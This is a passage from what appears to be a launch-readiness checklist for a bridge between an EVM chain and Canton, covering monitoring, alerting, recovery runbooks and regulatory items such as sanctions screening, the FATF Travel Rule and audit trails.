Supply parity monitor running with alerting to on-call channel (delta ≠ 0 triggers page)
Validator set sync check running; mismatches between EVM and Canton sets alert
Structured logging and SIEM integration for all bridge operations
Recovery runbook written and covers both stuck bridge-in and stuck bridge-out scenarios
Recovery runbook tested in staging; incident response procedure distributed to on-call team
Regulatory and Compliance
Regulatory compliance review complete and gap-to-compliance matrix produced
Key management attestation document prepared and reviewed by legal/compliance
OFAC/sanctions screening coverage confirmed adequate for applicable jurisdiction
FATF Travel Rule assessment complete; mechanism in place if required
Audit trail confirmed complete for regulatory examination (BridgeOperation records + EVM events + logs)